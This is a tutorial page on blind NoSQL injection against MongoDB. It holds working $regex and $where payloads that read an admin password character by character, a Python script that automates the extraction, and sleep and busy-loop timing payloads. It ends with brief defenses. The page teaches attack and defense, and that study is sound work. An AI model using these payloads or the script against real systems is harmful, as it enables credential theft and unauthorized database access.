NoSQL Injection: The Complete Practical Guide to MongoDB Injection
Blind and Timing NoSQL Injection
Extract data with no reflected output: anchored $regex as a boolean oracle, character-by-character recovery, and $where sleep timing when nothing differs.
Published
Most real NoSQL injection is blind. The app runs your injected query but reflects nothing useful, so an always-true operator logs you in yet tells you nothing about a value you want to read. Blind extraction solves this by asking the database a stream of yes-or-no questions and reading the answers from any signal that changes. This page covers the boolean regex oracle, character-by-character recovery, and the timing fallback for when nothing visible changes at all. Practice on a free live target.
Step 1: pick an oracle
An oracle is any observable difference between a true and a false condition. Ranked from best to worst:
- A content or status change. A login that says "welcome" versus "invalid," a page that shows a record versus an empty state, a redirect versus a reload.
- A result count or length. The number of items returned, or the raw response size, even when the rendered page looks similar.
- Response time. When nothing in the content differs, a deliberate delay on a true condition becomes your only signal. That is the timing technique below.
Find the clearest oracle first. The stronger the signal, the faster and more reliable the extraction.
Step 2: the anchored regex oracle
The core trick is a $regex anchored with ^, which tests whether a value starts with a given prefix. Pin the record you are reading by a known field, then probe the secret field one prefix at a time. To read the admin password:
{ "username": "admin", "password": { "$regex": "^a" } }If the oracle fires, the password starts with a. If not, try ^b, ^c, and so on. In bracket-notation form for a non-JSON endpoint:
username=admin&password[$regex]=^aEach request answers one yes-or-no question: does the value start with this prefix? That is all you need.
Step 3: extend the prefix, one character at a time
When a character matches, append the next and keep going:
{ "username": "admin", "password": { "$regex": "^s" } }
{ "username": "admin", "password": { "$regex": "^se" } }
{ "username": "admin", "password": { "$regex": "^sec" } }Each confirmed prefix adds one character. Walk it to the end and you have reconstructed the whole value from nothing but a yes-or-no response. Anchor the end with $ to confirm you have the complete string rather than a prefix of a longer one.
Mind the regex metacharacters. If a candidate character is a regex special like . or *, escape it in the pattern so it matches literally, otherwise the oracle lies.
Automating the walk
This is a mechanical loop, so script it. The shape in Python:
import requests, string
charset = string.ascii_letters + string.digits + "_-!@#$"
known = ""
while True:
for c in charset:
esc = "".join("\\" + ch if ch in ".^$*+?()[]{}|\\" else ch for ch in known + c)
r = requests.post(URL, json={"username": "admin",
"password": {"$regex": "^" + esc}})
if "welcome" in r.text: # your oracle
known += c
break
else:
break # no character matched, value is complete
print("recovered:", known)Swap the oracle check for whatever your target exposes: a status code, a redirect, a result count, or a length threshold.
The timing fallback
When the response is byte-for-byte identical whether the condition is true or false, you have no visible oracle. If server-side JavaScript through $where is reachable, you can manufacture one with a delay. Some MongoDB builds expose a sleep() helper inside the $where context, so a true condition can be made to pause:
{ "$where": "this.username == 'admin' && this.password.match(/^s/) && sleep(5000)" }If the response takes about five seconds, the admin password starts with s. If it returns immediately, it does not. Be aware that sleep() is documented as a shell helper, not a guaranteed $where function, so its availability is version and engine dependent. The portable primitive that relies on no helper is a busy loop on the clock, which is the original form of this technique:
{ "$where": "var d=new Date(); var c=null; do { c=new Date(); } while (c-d < 5000); true" }Gate the delay behind the character test exactly as with sleep(), so the loop only burns time when the guess is right. A standalone confirmation that injection into $where works at all:
{ "$where": "sleep(5000) || true" }Treat timing as a last resort. It is slower, noisier, and sensitive to network jitter, so repeat each measurement and compare against a known-false baseline. It also depends on server-side JavaScript being enabled, which recent MongoDB restricts and many deployments disable. The mechanics of $where and its honest impact are in where injection.
Choosing the right oracle under pressure
If several signals exist, prefer the one with the biggest, most stable gap. A clear content change beats a subtle length difference, and either beats timing. Keep a known-true and known-false request on hand so you can re-baseline if the app's behaviour shifts mid-extraction, for example after a rate limiter kicks in.
Fixing it
Blind extraction needs the operator injection to exist in the first place, so the defenses are the same:
- Type-validate inputs so a field cannot arrive as an operator or a regex object.
- Disable server-side JavaScript so the timing fallback has nothing to run.
- Rate-limit and alert on the repetitive, high-volume request pattern that character-by-character extraction produces.
Full guidance is in preventing NoSQL injection. Next, go deep on the JavaScript surface in where injection, or extract a value for real on a free target.
← Back to NoSQL Injection: The Complete Practical Guide to MongoDB Injection